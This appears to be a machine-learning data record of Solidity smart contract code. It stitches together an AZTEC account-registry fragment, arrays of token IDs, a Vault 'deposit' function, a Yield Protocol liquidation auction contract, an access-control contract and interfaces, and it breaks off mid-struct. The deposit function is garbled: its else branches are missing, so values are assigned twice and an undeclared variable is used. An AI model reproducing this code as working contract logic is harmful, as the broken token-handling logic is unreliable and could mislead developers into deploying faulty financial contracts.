EIP712_DOMAIN_TYPEHASH, keccak256("AccountRegistry"), keccak256("2"), address(this) )); return keccak256(abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR, keccak256(abi.encode( SIGNATURE_TYPEHASH, _AZTECAccount.account, keccak256(bytes(_AZTECAccount.linkedPublicKey)), _AZTECAccount.AZTECaddress )))); } /** * @dev Registers a linkedPublicKey to an Ethereum address, if a valid signature is provided or the * sender is the ethereum address in question * @param _account - address to which the linkedPublicKey is being registered * @param _linkedPublicKey - an additional public key which the sender wishes to link to the _account * @param _spendingPublicKey - the Ethereum public key associated with the Ethereum address * @param _signature - an EIP712 compatible signature of the account & linkedPublicKey */ function registerAZTECExtension( address _account, address _AZTECaddress, bytes memory _linkedPublicKey, bytes memory _spendingPublicKey, bytes memory _signature ) public { // signature replay protection bytes32 signatureHash = keccak256(abi.encodePacked(_signature)); require(signatureLog[signatureHash] != true, "signature has already been used"); signatureLog[signatureHash] = true; address signer = recoverSignature( hashAZTECAccount(AZTECAccount(_account, _linkedPublicKey, _AZTECaddress)), _signature ); require(_account == address(uint160(uint256(keccak256(_spendingPublicKey)))), 'address does not match public key'); require(_account == signer, 'signer must be the account'); accountMapping[_account] = _linkedPublicKey; userToAZTECAccountMapping[_account] = _AZTECaddress; emit Addresses(_account, signer); emit RegisterExtension(_account, _linkedPublicKey, _spendingPublicKey); } /** * @dev Perform a confidential transfer, mediated by a smart contracrt * @param _proofId - uint24 proofId * @param _registryOwner - address of the note registry owner * @param _proofData - data generated from proof construction, which is used to validate the proof * @param _spender - address that will be spending the notes * @param _proofSignature - EIP712 signature used to approve/revoke permission for the proof * to be spent */ function confidentialTransferFrom( uint24 _proofId, address _registryOwner, bytes memory _proofData, address _spender, bytes memory _proofSignature ) public { bytes memory proofOutputs = ace.validateProof(_proofId, address(this), _proofData); if(_proofSignature.length != 0) { IZkAsset(_registryOwner).approveProof(_proofId, proofOutputs, _spender, true, _proofSignature); } IZkAsset(_registryOwner).confidentialTransferFrom(_proofId, proofOutputs.get(0)); } /** * @dev Deposit ERC20 tokens into zero-knowledge notes in a transaction mediated via the GSN. Called by a user * @param _registryOwner - owner of the zkAsset * @param _owner - owner of the ERC20s being deposited * @param _proofHash - hash of the zero-knowledge deposit proof * @param _proofData - cryptographic data associated with the zero-knowledge proof * @param _value - number of ERC20s being deposited */ function deposit( address _registryOwner, address _owner, bytes32 _proofHash, bytes memory _proofData, uint256 _value ) public { bytes memory proofOutputs = ace.validateProof( JOIN_SPLIT_PROOF, address(this), _proofData ); if (_owner != _msgSender()) { require( userToAZTECAccountMapping[_owner] == _msgSender(), "Sender has no permission to deposit on owner's behalf." ); (, bytes memory proofOutputNotes, , ) = proofOutputs.get(0).extractProofOutput(); uint256 numberOfNotes = proofOutputNotes.getLength(); for (uint256 i = 0; i < numberOfNotes; i += 1) { (address owner,,) = proofOutputNotes.get(i).extractNote(); require(owner == _owner, "Cannot deposit note to other account if sender is not the same as owner."); } } (address linkedTokenAddress,,,,,,,) = ace.getRegistry(_registryOwner); IERC20Mintable linkedToken = IERC20Mintable(linkedTokenAddress); linkedToken.transferFrom( _owner, address(this), _value ); linkedToken.approve(address(ace), _value); ace.publicApprove(_registryOwner, _proofHash, _value); IZkAsset(_registryOwner).confidentialTransferFrom( JOIN_SPLIT_PROOF, proofOutputs.get(0) ); } /** * @dev Approve a registry to spend up to a number of tokens, for a particular proof * @param _registryOwner - address that is being approved to spend the tokens * @param _proofHash - hash of the proof which is being approved to result in the spending of tokens * @param _value - numer of tokens spending is approved up to */ function publicApprove(address _registryOwner, bytes32 _proofHash, uint256 _value) public { ace.publicApprove(_registryOwner, _proofHash, _value); } /** * @dev Emits an event, annoucing that the relayed call has been successfully executed * @param context - second argument in the tuple returned by acceptRelayedCall * @param success - bool specifying whether the relayed call was successfully executed * @param actualCharge - estimate of the transaction gas cost * @param preRetVal - the return value of preRelayedCall */ function _postRelayedCall(bytes memory context, bool success, uint256 actualCharge, bytes32 preRetVal) internal { (bytes memory approveData) = abi.decode(context, (bytes)); emit GSNTransactionProcessed(keccak256(approveData), success, actualCharge); } }
* @dev epoch number, used for version control in upgradeability. The naming convention is based on the date on which the contract was created, in the format: YYYYMMDD/
struct AZTECAccount { address account; bytes linkedPublicKey; address AZTECaddress; } string private constant EIP712_DOMAIN = "EIP712Domain(string name,string version,address verifyingContract)"; string private constant SIGNATURE_TYPE = "AZTECAccount(address account,bytes linkedPublicKey,address AZTECaddress)"; bytes32 private constant EIP712_DOMAIN_TYPEHASH = keccak256(abi.encodePacked(EIP712_DOMAIN)); bytes32 private constant SIGNATURE_TYPEHASH = keccak256(abi.encodePacked(SIGNATURE_TYPE)); event Addresses(address accountAddress, address signerAddress); event RegisterExtension( address indexed account, bytes linkedPublicKey, bytes spendingPublicKey ); event GSNTransactionProcessed(bytes32 indexed signatureHash, bool indexed success, uint actualCharge); ACEModule.ACE ace;
12,925,139
[ 1, 12015, 1300, 16, 1399, 364, 1177, 3325, 316, 8400, 2967, 18, 1021, 14634, 15797, 353, 2511, 603, 326, 1509, 603, 1492, 326, 6835, 1703, 2522, 16, 316, 326, 740, 30, 26699, 8206, 5698, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 1958, 432, 62, 1448, 39, 3032, 288, 203, 3639, 1758, 2236, 31, 203, 3639, 1731, 8459, 9632, 31, 203, 3639, 1758, 432, 62, 1448, 39, 2867, 31, 203, 565, 289, 203, 203, 565, 533, 3238, 5381, 512, 2579, 27, 2138, 67, 18192, 225, 273, 315, 41, 2579, 27, 2138, 3748, 12, 1080, 508, 16, 1080, 1177, 16, 2867, 3929, 310, 8924, 2225, 31, 203, 565, 533, 3238, 5381, 12057, 10511, 67, 2399, 273, 315, 26315, 1448, 39, 3032, 12, 2867, 2236, 16, 3890, 8459, 9632, 16, 2867, 432, 62, 1448, 39, 2867, 2225, 31, 203, 203, 565, 1731, 1578, 3238, 5381, 512, 2579, 27, 2138, 67, 18192, 67, 2399, 15920, 273, 417, 24410, 581, 5034, 12, 21457, 18, 3015, 4420, 329, 12, 41, 2579, 27, 2138, 67, 18192, 10019, 203, 565, 1731, 1578, 3238, 5381, 12057, 10511, 67, 2399, 15920, 273, 417, 24410, 581, 5034, 12, 21457, 18, 3015, 4420, 329, 12, 26587, 67, 2399, 10019, 203, 203, 565, 871, 23443, 12, 2867, 2236, 1887, 16, 1758, 10363, 1887, 1769, 203, 203, 565, 871, 5433, 3625, 12, 203, 3639, 1758, 8808, 2236, 16, 203, 3639, 1731, 8459, 9632, 16, 203, 3639, 1731, 272, 9561, 9632, 203, 565, 11272, 203, 203, 565, 871, 611, 13653, 3342, 13533, 12, 3890, 1578, 8808, 3372, 2310, 16, 1426, 8808, 2216, 16, 2254, 3214, 17649, 1769, 203, 203, 565, 432, 1441, 3120, 18, 6312, 18082, 31, 203, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/137/0x44963709F103c7d8611838e0DD3C53e499e05699/sources/Vault.sol
deposit lp tokens and get shares lp before stake lp tokens lp after - before determine shares
function deposit(uint _amount, address to) external nonReentrant whenNotPaused returns (uint shares){ earn(false); uint lpTokenBalanceBefore = balance(); lpToken.transferFrom(msg.sender, address(this), _amount); stake(); _amount = balance().sub(lpTokenBalanceBefore); if (totalLPToken == 0) { shares = _amount; shares = _amount.mul(totalLPToken).div(lpTokenBalanceBefore); } if (to == address(0)) { pos = userPosition[msg.sender]; pos = userPosition[to]; } pos.lpToken = pos.lpToken.add(shares); }
4,668,073
[ 1, 323, 1724, 12423, 2430, 471, 336, 24123, 12423, 1865, 384, 911, 12423, 2430, 12423, 1839, 300, 1865, 4199, 24123, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 443, 1724, 12, 11890, 389, 8949, 16, 1758, 358, 13, 3903, 1661, 426, 8230, 970, 1347, 1248, 28590, 1135, 261, 11890, 24123, 15329, 203, 3639, 425, 1303, 12, 5743, 1769, 203, 3639, 2254, 12423, 1345, 13937, 4649, 273, 11013, 5621, 203, 3639, 12423, 1345, 18, 13866, 1265, 12, 3576, 18, 15330, 16, 1758, 12, 2211, 3631, 389, 8949, 1769, 203, 3639, 384, 911, 5621, 203, 3639, 389, 8949, 273, 11013, 7675, 1717, 12, 9953, 1345, 13937, 4649, 1769, 203, 3639, 309, 261, 4963, 14461, 1345, 422, 374, 13, 288, 203, 5411, 24123, 273, 389, 8949, 31, 203, 5411, 24123, 273, 389, 8949, 18, 16411, 12, 4963, 14461, 1345, 2934, 2892, 12, 9953, 1345, 13937, 4649, 1769, 203, 3639, 289, 203, 3639, 309, 261, 869, 422, 1758, 12, 20, 3719, 288, 203, 5411, 949, 273, 729, 2555, 63, 3576, 18, 15330, 15533, 203, 5411, 949, 273, 729, 2555, 63, 869, 15533, 203, 3639, 289, 203, 3639, 949, 18, 9953, 1345, 273, 949, 18, 9953, 1345, 18, 1289, 12, 30720, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.6; import "@yield-protocol/utils-v2/contracts/access/AccessControl.sol"; import "@yield-protocol/vault-interfaces/ILadle.sol"; import "@yield-protocol/vault-interfaces/ICauldron.sol"; import "@yield-protocol/vault-interfaces/IJoin.sol"; import "@yield-protocol/vault-interfaces/DataTypes.sol"; import "@yield-protocol/utils-v2/contracts/math/WMul.sol"; import "@yield-protocol/utils-v2/contracts/math/WMulUp.sol"; import "@yield-protocol/utils-v2/contracts/math/WDiv.sol"; import "@yield-protocol/utils-v2/contracts/math/WDivUp.sol"; import "@yield-protocol/utils-v2/contracts/cast/CastU256U128.sol"; import "@yield-protocol/utils-v2/contracts/cast/CastU256U32.sol"; contract Witch is AccessControl() { using WMul for uint256; using WMulUp for uint256; using WDiv for uint256; using WDivUp for uint256; using CastU256U128 for uint256; using CastU256U32 for uint256; event Point(bytes32 indexed param, address value); event IlkSet(bytes6 indexed ilkId, uint32 duration, uint64 initialOffer, uint96 line, uint24 dust, uint8 dec); event Bought(bytes12 indexed vaultId, address indexed buyer, uint256 ink, uint256 art); event Auctioned(bytes12 indexed vaultId, uint256 indexed start); struct Auction { address owner; uint32 start; } struct Ilk { uint32 duration; // Time that auctions take to go to minimal price and stay there. uint64 initialOffer; // Proportion of collateral that is sold at auction start (1e18 = 100%) } struct Limits { uint96 line; // Maximum concurrent auctioned collateral uint24 dust; // Minimum collateral that must be left when buying, unless buying all uint8 dec; // Multiplying factor (10**dec) for line and dust uint128 sum; // Current concurrent auctioned collateral } ICauldron immutable public cauldron; ILadle public ladle; mapping(bytes12 => Auction) public auctions; mapping(bytes6 => Ilk) public ilks; mapping(bytes6 => Limits) public limits; constructor (ICauldron cauldron_, ILadle ladle_) { cauldron = cauldron_; ladle = ladle_; } /// @dev Point to a different ladle function point(bytes32 param, address value) external auth { if (param == "ladle") ladle = ILadle(value); else revert("Unrecognized parameter"); emit Point(param, value); } /// @dev Governance function to set: /// - the auction duration to calculate liquidation prices /// - the proportion of the collateral that will be sold at auction start /// - the maximum collateral that can be auctioned at the same time /// - the minimum collateral that must be left when buying, unless buying all /// - The decimals for maximum and minimum function setIlk(bytes6 ilkId, uint32 duration, uint64 initialOffer, uint96 line, uint24 dust, uint8 dec) external auth { require (initialOffer <= 1e18, "Only at or under 100%"); ilks[ilkId] = Ilk({ duration: duration, initialOffer: initialOffer }); limits[ilkId] = Limits({ line: line, dust: dust, dec: dec, sum: limits[ilkId].sum // sum is initialized at zero, and doesn't change when changing any ilk parameters }); emit IlkSet(ilkId, duration, initialOffer, line, dust, dec); } /// @dev Put an undercollateralized vault up for liquidation. function auction(bytes12 vaultId) external { require (auctions[vaultId].start == 0, "Vault already under auction"); require (cauldron.level(vaultId) < 0, "Not undercollateralized"); DataTypes.Vault memory vault_ = cauldron.vaults(vaultId); DataTypes.Balances memory balances_ = cauldron.balances(vaultId); Limits memory limits_ = limits[vault_.ilkId]; limits_.sum += balances_.ink; require (limits_.sum <= limits_.line * (10 ** limits_.dec), "Collateral limit reached"); limits[vault_.ilkId] = limits_; auctions[vaultId] = Auction({ owner: vault_.owner, start: block.timestamp.u32() }); cauldron.give(vaultId, address(this)); emit Auctioned(vaultId, block.timestamp.u32()); } /// @dev Pay `base` of the debt in a vault in liquidation, getting at least `min` collateral. /// Use `payAll` to pay all the debt, using `buy` for amounts close to the whole vault might revert. function buy(bytes12 vaultId, uint128 base, uint128 min) external returns (uint256 ink) { require (auctions[vaultId].start > 0, "Vault not under auction"); DataTypes.Vault memory vault_ = cauldron.vaults(vaultId); DataTypes.Series memory series_ = cauldron.series(vault_.seriesId); DataTypes.Balances memory balances_ = cauldron.balances(vaultId); require (balances_.art > 0, "Nothing to buy"); // Cheapest way of failing gracefully if given a non existing vault Auction memory auction_ = auctions[vaultId]; Ilk memory ilk_ = ilks[vault_.ilkId]; Limits memory limits_ = limits[vault_.ilkId]; uint256 art = cauldron.debtFromBase(vault_.seriesId, base); { uint256 elapsed = uint32(block.timestamp) - auction_.start; // Auctions will malfunction on the 7th of February 2106, at 06:28:16 GMT, we should replace this contract before then. uint256 price = inkPrice(balances_, ilk_.initialOffer, ilk_.duration, elapsed); ink = uint256(art).wmul(price); // Calculate collateral to sell. Using divdrup stops rounding from leaving 1 stray wei in vaults. require (ink >= min, "Not enough bought"); require (art == balances_.art || balances_.ink - ink >= limits_.dust * (10 ** limits_.dec), "Leaves dust"); limits[vault_.ilkId].sum -= ink.u128(); } cauldron.slurp(vaultId, ink.u128(), art.u128()); // Remove debt and collateral from the vault settle(msg.sender, vault_.ilkId, series_.baseId, ink.u128(), base); // Move the assets if (balances_.art - art == 0) { // If there is no debt left, return the vault with the collateral to the owner cauldron.give(vaultId, auction_.owner); delete auctions[vaultId]; } emit Bought(vaultId, msg.sender, ink, art); } /// @dev Pay all debt from a vault in liquidation, getting at least `min` collateral. function payAll(bytes12 vaultId, uint128 min) external returns (uint256 ink) { require (auctions[vaultId].start > 0, "Vault not under auction"); DataTypes.Vault memory vault_ = cauldron.vaults(vaultId); DataTypes.Series memory series_ = cauldron.series(vault_.seriesId); DataTypes.Balances memory balances_ = cauldron.balances(vaultId); Auction memory auction_ = auctions[vaultId]; Ilk memory ilk_ = ilks[vault_.ilkId]; require (balances_.art > 0, "Nothing to buy"); // Cheapest way of failing gracefully if given a non existing vault { uint256 elapsed = uint32(block.timestamp) - auction_.start; // Auctions will malfunction on the 7th of February 2106, at 06:28:16 GMT, we should replace this contract before then. uint256 price = inkPrice(balances_, ilk_.initialOffer, ilk_.duration, elapsed); ink = uint256(balances_.art).wmul(price); // Calculate collateral to sell. Using divdrup stops rounding from leaving 1 stray wei in vaults. require (ink >= min, "Not enough bought"); ink = (ink > balances_.ink) ? balances_.ink : ink; // The price is rounded up, so we cap this at all the collateral and no more limits[vault_.ilkId].sum -= ink.u128(); } cauldron.slurp(vaultId, ink.u128(), balances_.art); // Remove debt and collateral from the vault settle(msg.sender, vault_.ilkId, series_.baseId, ink.u128(), cauldron.debtToBase(vault_.seriesId, balances_.art)); // Move the assets cauldron.give(vaultId, auction_.owner); delete auctions[vaultId]; emit Bought(vaultId, msg.sender, ink, balances_.art); // Still the initially read `art` value, not the updated one } /// @dev Move base from the buyer to the protocol, and collateral from the protocol to the buyer function settle(address user, bytes6 ilkId, bytes6 baseId, uint128 ink, uint128 art) private { if (ink != 0) { // Give collateral to the user IJoin ilkJoin = ladle.joins(ilkId); require (ilkJoin != IJoin(address(0)), "Join not found"); ilkJoin.exit(user, ink); } if (art != 0) { // Take underlying from user IJoin baseJoin = ladle.joins(baseId); require (baseJoin != IJoin(address(0)), "Join not found"); baseJoin.join(user, art); } } /// @dev Price of a collateral unit, in underlying, at the present moment, for a given vault. Rounds up, sometimes twice. /// ink min(auction, elapsed) /// price = (------- * (p + (1 - p) * -----------------------)) /// art auction function inkPrice(DataTypes.Balances memory balances, uint256 initialOffer_, uint256 duration_, uint256 elapsed) private pure returns (uint256 price) { uint256 term1 = uint256(balances.ink).wdivup(balances.art); uint256 dividend2 = duration_ < elapsed ? duration_ : elapsed; uint256 divisor2 = duration_; uint256 term2 = initialOffer_ + (1e18 - initialOffer_).wmulup(dividend2.wdivup(divisor2)); price = term1.wmulup(term2); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "hardhat/console.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes4` identifier. These are expected to be the * signatures for all the functions in the contract. Special roles should be exposed * in the external API and be unique: * * ``` * bytes4 public constant ROOT = 0x00000000; * ``` * * Roles represent restricted access to a function call. For that purpose, use {auth}: * * ``` * function foo() public auth { * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `ROOT`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {setRoleAdmin}. * * WARNING: The `ROOT` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ contract AccessControl { struct RoleData { mapping (address => bool) members; bytes4 adminRole; } mapping (bytes4 => RoleData) private _roles; bytes4 public constant ROOT = 0x00000000; bytes4 public constant ROOT4146650865 = 0x00000000; // Collision protection for ROOT, test with ROOT12007226833() bytes4 public constant LOCK = 0xFFFFFFFF; // Used to disable further permissioning of a function bytes4 public constant LOCK8605463013 = 0xFFFFFFFF; // Collision protection for LOCK, test with LOCK10462387368() /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role * * `ROOT` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes4 indexed role, bytes4 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call. */ event RoleGranted(bytes4 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes4 indexed role, address indexed account, address indexed sender); /** * @dev Give msg.sender the ROOT role and create a LOCK role with itself as the admin role and no members. * Calling setRoleAdmin(msg.sig, LOCK) means no one can grant that msg.sig role anymore. */ constructor () { _grantRole(ROOT, msg.sender); // Grant ROOT to msg.sender _setRoleAdmin(LOCK, LOCK); // Create the LOCK role by setting itself as its own admin, creating an independent role tree } /** * @dev Each function in the contract has its own role, identified by their msg.sig signature. * ROOT can give and remove access to each function, lock any further access being granted to * a specific action, or even create other roles to delegate admin control over a function. */ modifier auth() { require (_hasRole(msg.sig, msg.sender), "Access denied"); _; } /** * @dev Allow only if the caller has been granted the admin role of `role`. */ modifier admin(bytes4 role) { require (_hasRole(_getRoleAdmin(role), msg.sender), "Only admin"); _; } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes4 role, address account) external view returns (bool) { return _hasRole(role, account); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes4 role) external view returns (bytes4) { return _getRoleAdmin(role); } /** * @dev Sets `adminRole` as ``role``'s admin role. * If ``role``'s admin role is not `adminRole` emits a {RoleAdminChanged} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function setRoleAdmin(bytes4 role, bytes4 adminRole) external virtual admin(role) { _setRoleAdmin(role, adminRole); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes4 role, address account) external virtual admin(role) { _grantRole(role, account); } /** * @dev Grants all of `role` in `roles` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - For each `role` in `roles`, the caller must have ``role``'s admin role. */ function grantRoles(bytes4[] memory roles, address account) external virtual { for (uint256 i = 0; i < roles.length; i++) { require (_hasRole(_getRoleAdmin(roles[i]), msg.sender), "Only admin"); _grantRole(roles[i], account); } } /** * @dev Sets LOCK as ``role``'s admin role. LOCK has no members, so this disables admin management of ``role``. * Emits a {RoleAdminChanged} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function lockRole(bytes4 role) external virtual admin(role) { _setRoleAdmin(role, LOCK); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes4 role, address account) external virtual admin(role) { _revokeRole(role, account); } /** * @dev Revokes all of `role` in `roles` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - For each `role` in `roles`, the caller must have ``role``'s admin role. */ function revokeRoles(bytes4[] memory roles, address account) external virtual { for (uint256 i = 0; i < roles.length; i++) { require (_hasRole(_getRoleAdmin(roles[i]), msg.sender), "Only admin"); _revokeRole(roles[i], account); } } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes4 role, address account) external virtual { require(account == msg.sender, "Renounce only for self"); _revokeRole(role, account); } function _hasRole(bytes4 role, address account) internal view returns (bool) { return _roles[role].members[account]; } function _getRoleAdmin(bytes4 role) internal view returns (bytes4) { return _roles[role].adminRole; } function _setRoleAdmin(bytes4 role, bytes4 adminRole) internal virtual { if (_getRoleAdmin(role) != adminRole) { _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, adminRole); } } function _grantRole(bytes4 role, address account) internal { if (!_hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, msg.sender); } } function _revokeRole(bytes4 role, address account) internal { if (_hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, msg.sender); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IJoin.sol"; import "./ICauldron.sol"; interface ILadle { function joins(bytes6) external view returns (IJoin); function cauldron() external view returns (ICauldron); function build(bytes6 seriesId, bytes6 ilkId, uint8 salt) external returns (bytes12 vaultId, DataTypes.Vault memory vault); function destroy(bytes12 vaultId) external; function pour(bytes12 vaultId, address to, int128 ink, int128 art) external; function close(bytes12 vaultId, address to, int128 ink, int128 art) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IFYToken.sol"; import "./IOracle.sol"; import "./DataTypes.sol"; interface ICauldron { /// @dev Variable rate lending oracle for an underlying function lendingOracles(bytes6 baseId) external view returns (IOracle); /// @dev An user can own one or more Vaults, with each vault being able to borrow from a single series. function vaults(bytes12 vault) external view returns (DataTypes.Vault memory); /// @dev Series available in Cauldron. function series(bytes6 seriesId) external view returns (DataTypes.Series memory); /// @dev Assets available in Cauldron. function assets(bytes6 assetsId) external view returns (address); /// @dev Each vault records debt and collateral balances_. function balances(bytes12 vault) external view returns (DataTypes.Balances memory); /// @dev Max, min and sum of debt per underlying and collateral. function debt(bytes6 baseId, bytes6 ilkId) external view returns (DataTypes.Debt memory); /// @dev Create a new vault, linked to a series (and therefore underlying) and up to 5 collateral types function build(address owner, bytes12 vaultId, bytes6 seriesId, bytes6 ilkId) external returns (DataTypes.Vault memory); /// @dev Destroy an empty vault. Used to recover gas costs. function destroy(bytes12 vault) external; /// @dev Change a vault series and/or collateral types. function tweak(bytes12 vaultId, bytes6 seriesId, bytes6 ilkId) external returns (DataTypes.Vault memory); /// @dev Give a vault to another user. function give(bytes12 vaultId, address receiver) external returns (DataTypes.Vault memory); /// @dev Move collateral and debt between vaults. function stir(bytes12 from, bytes12 to, uint128 ink, uint128 art) external returns (DataTypes.Balances memory, DataTypes.Balances memory); /// @dev Manipulate a vault debt and collateral. function pour(bytes12 vaultId, int128 ink, int128 art) external returns (DataTypes.Balances memory); /// @dev Change series and debt of a vault. /// The module calling this function also needs to buy underlying in the pool for the new series, and sell it in pool for the old series. function roll(bytes12 vaultId, bytes6 seriesId, int128 art) external returns (DataTypes.Vault memory, DataTypes.Balances memory); /// @dev Reduce debt and collateral from a vault, ignoring collateralization checks. function slurp(bytes12 vaultId, uint128 ink, uint128 art) external returns (DataTypes.Balances memory); // ==== Helpers ==== /// @dev Convert a debt amount for a series from base to fyToken terms. /// @notice Think about rounding if using, since we are dividing. function debtFromBase(bytes6 seriesId, uint128 base) external returns (uint128 art); /// @dev Convert a debt amount for a series from fyToken to base terms function debtToBase(bytes6 seriesId, uint128 art) external returns (uint128 base); // ==== Accounting ==== /// @dev Record the borrowing rate at maturity for a series function mature(bytes6 seriesId) external; /// @dev Retrieve the rate accrual since maturity, maturing if necessary. function accrual(bytes6 seriesId) external returns (uint256); /// @dev Return the collateralization level of a vault. It will be negative if undercollateralized. function level(bytes12 vaultId) external returns (int256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@yield-protocol/utils-v2/contracts/token/IERC20.sol"; interface IJoin { /// @dev asset managed by this contract function asset() external view returns (address); /// @dev Add tokens to this contract. function join(address user, uint128 wad) external returns (uint128); /// @dev Remove tokens to this contract. function exit(address user, uint128 wad) external returns (uint128); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IFYToken.sol"; import "./IOracle.sol"; library DataTypes { struct Series { IFYToken fyToken; // Redeemable token for the series. bytes6 baseId; // Asset received on redemption. uint32 maturity; // Unix time at which redemption becomes possible. // bytes2 free } struct Debt { uint96 max; // Maximum debt accepted for a given underlying, across all series uint24 min; // Minimum debt accepted for a given underlying, across all series uint8 dec; // Multiplying factor (10**dec) for max and min uint128 sum; // Current debt for a given underlying, across all series } struct SpotOracle { IOracle oracle; // Address for the spot price oracle uint32 ratio; // Collateralization ratio to multiply the price for // bytes8 free } struct Vault { address owner; bytes6 seriesId; // Each vault is related to only one series, which also determines the underlying. bytes6 ilkId; // Asset accepted as collateral } struct Balances { uint128 art; // Debt amount uint128 